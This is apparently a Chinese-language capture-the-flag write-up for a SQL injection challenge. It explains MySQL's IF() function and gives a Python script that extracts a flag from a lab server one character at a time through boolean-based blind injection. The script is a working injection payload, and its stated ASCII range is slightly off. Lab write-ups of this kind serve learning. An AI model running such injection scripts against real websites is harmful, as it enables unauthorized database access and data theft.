这道题,首先是各种fuzz,测试出一些过滤字符,然后主要讲讲脚本的知识,以及为什么脚本这样写:
首先,输入1,是hello,0是error
根据这个写脚本;
首先有一个小知识:MySQL中的if语句:
IF表达式
IF(expr1,expr2,expr3)
如果 expr1 是TRUE (或者expr1 <> 0 且 expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值;
我们就可以根据输入1和0的回显来爆出flag:
在ASCII码里面,字符的范围是[32,140];
我们就可以把flag的每一个字符和[32,140]的ascll码比较,相等就是那个字符了;
就有这样的语句:if(exp1,1,0) exp1是TRUE的话就反会1,这里就会回显hello;
那么exp1=ascll(substr(select(flag)from(flag),{i},1)={j}) 这里的i是指flag的字符,从0开始,j从32开始;不懂的大概就这些啦;OK附上别人家的代码;
import requests
import re
url = 'http://0b8342d8-be5d-4bf3-b194-fc0d876593f1.node4.buuoj.cn:81/index.php' # 路径
buu = '' # 记录flag
for i in range(1, 50): # flag的字符数量
for j in range(32, 140): # 可打印出得所有字符的asii码值
# 构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
payload = "if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i, j)
data = {"id": payload} # 构造参数对象
res = requests.post(url=url, data=data) # 请求
# 进行验证和记录flag
if 'Hello, glzjin wants a girlfriend' in res.text:
buu = buu + chr(j)
print(i)
print(buu)
break # 跳出一层循环